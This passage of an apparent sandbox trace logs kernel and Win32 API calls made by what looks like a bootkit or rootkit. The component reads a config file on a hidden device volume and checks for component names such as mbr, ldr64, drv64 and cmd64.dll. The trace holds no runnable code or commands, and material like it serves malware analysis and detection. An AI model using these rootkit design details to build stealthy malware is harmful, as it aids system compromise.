[0118.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.237] KeLeaveCriticalRegion () [0118.237] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.237] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.237] KeEnterCriticalRegion () [0118.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.237] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.237] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.237] KeLeaveCriticalRegion () [0118.237] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.237] KeEnterCriticalRegion () [0118.238] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.238] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.238] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.238] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.238] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.238] IdePortDispatch () returned 0x103 [0118.238] KeWaitForMutexObject () returned 0x0 [0118.238] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.238] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.238] KeLeaveCriticalRegion () [0118.238] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.238] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.238] KeEnterCriticalRegion () [0118.238] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.238] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca0000 [0118.238] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.238] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.238] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.238] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.238] IdePortDispatch () returned 0x103 [0118.239] KeWaitForMutexObject () returned 0x0 [0118.239] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.239] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.239] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.239] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.239] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.239] IdePortDispatch () returned 0x103 [0118.239] KeWaitForMutexObject () returned 0x0 [0118.239] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.239] KeLeaveCriticalRegion () [0118.239] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.240] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.240] KeEnterCriticalRegion () [0118.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.240] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.240] KeLeaveCriticalRegion () [0118.240] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.240] KeEnterCriticalRegion () [0118.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.240] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.240] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d7820, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.240] KeLeaveCriticalRegion () [0118.240] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.240] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.240] KeEnterCriticalRegion () [0118.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.240] ExFreePoolWithTag (P=0xfffffa8003bd77b0, Tag=0x0) [0118.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.240] KeLeaveCriticalRegion () [0118.240] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.240] ReleaseMutex (hMutex=0xf0) returned 1 [0118.240] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.240] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.240] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.241] KeEnterCriticalRegion () [0118.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.241] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.241] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.241] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.241] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.241] IdePortDispatch () returned 0x103 [0118.241] KeWaitForMutexObject () returned 0x0 [0118.241] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.241] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.241] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.241] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.241] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.241] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d10e0 [0118.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.241] KeLeaveCriticalRegion () [0118.241] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.241] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.241] KeEnterCriticalRegion () [0118.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.241] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.241] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.241] KeLeaveCriticalRegion () [0118.241] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.241] KeEnterCriticalRegion () [0118.241] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.241] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.242] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.242] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.242] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.242] IdePortDispatch () returned 0x103 [0118.242] KeWaitForMutexObject () returned 0x0 [0118.242] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.242] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.242] KeLeaveCriticalRegion () [0118.242] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.242] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.242] KeEnterCriticalRegion () [0118.242] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.242] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca1000 [0118.242] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.242] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.242] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.242] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.242] IdePortDispatch () returned 0x103 [0118.243] KeWaitForMutexObject () returned 0x0 [0118.243] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.243] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.243] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.243] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.243] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.243] IdePortDispatch () returned 0x103 [0118.243] KeWaitForMutexObject () returned 0x0 [0118.243] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.243] KeLeaveCriticalRegion () [0118.243] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.244] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.244] KeEnterCriticalRegion () [0118.244] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.244] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.244] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.244] KeLeaveCriticalRegion () [0118.244] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.244] KeEnterCriticalRegion () [0118.244] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.244] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.244] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aae5e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.244] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.244] KeLeaveCriticalRegion () [0118.244] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.244] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.244] KeEnterCriticalRegion () [0118.244] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.244] ExFreePoolWithTag (P=0xfffffa80039d10e0, Tag=0x0) [0118.244] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.244] KeLeaveCriticalRegion () [0118.244] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.244] ReleaseMutex (hMutex=0xf0) returned 1 [0118.244] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.244] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.244] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.244] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.244] KeEnterCriticalRegion () [0118.244] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.244] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.244] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.244] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.244] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.245] IdePortDispatch () returned 0x103 [0118.245] KeWaitForMutexObject () returned 0x0 [0118.245] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.245] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.245] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.245] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.245] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.245] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.245] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.245] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.245] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.245] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.245] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.245] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.245] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.245] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.245] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.245] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.245] KeLeaveCriticalRegion () [0118.245] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.245] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.245] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.245] KeEnterCriticalRegion () [0118.245] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.245] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.245] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.245] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.245] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.245] IdePortDispatch () returned 0x103 [0118.246] KeWaitForMutexObject () returned 0x0 [0118.246] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.246] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.246] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.246] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.246] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.246] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.246] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.246] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.246] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.246] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.246] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.246] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.246] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.246] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.246] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.246] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.246] KeLeaveCriticalRegion () [0118.246] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.246] ReleaseMutex (hMutex=0x100) returned 1 [0118.246] Sleep (dwMilliseconds=0x2bf20) [0118.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69ad4e50, dwHighDateTime=0x1d24fa4)) [0118.254] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.254] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.254] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.254] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.254] KeEnterCriticalRegion () [0118.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.254] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.254] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.254] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.254] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.255] IdePortDispatch () returned 0x103 [0118.255] KeWaitForMutexObject () returned 0x0 [0118.255] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.255] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.255] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.255] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.255] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.255] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d10e0 [0118.255] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.255] KeLeaveCriticalRegion () [0118.255] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.255] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.255] KeEnterCriticalRegion () [0118.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.255] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.255] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.255] KeLeaveCriticalRegion () [0118.255] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.255] KeEnterCriticalRegion () [0118.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.255] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.255] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.255] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.255] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.256] IdePortDispatch () returned 0x103 [0118.256] KeWaitForMutexObject () returned 0x0 [0118.256] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.256] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.256] KeLeaveCriticalRegion () [0118.256] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.256] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.256] KeEnterCriticalRegion () [0118.256] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.256] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca4000 [0118.256] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.256] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.256] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.256] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.256] IdePortDispatch () returned 0x103 [0118.256] KeWaitForMutexObject () returned 0x0 [0118.257] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.257] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.257] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.257] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.257] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.257] IdePortDispatch () returned 0x103 [0118.258] KeWaitForMutexObject () returned 0x0 [0118.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.258] KeLeaveCriticalRegion () [0118.258] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.258] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.258] KeEnterCriticalRegion () [0118.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.258] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.258] KeLeaveCriticalRegion () 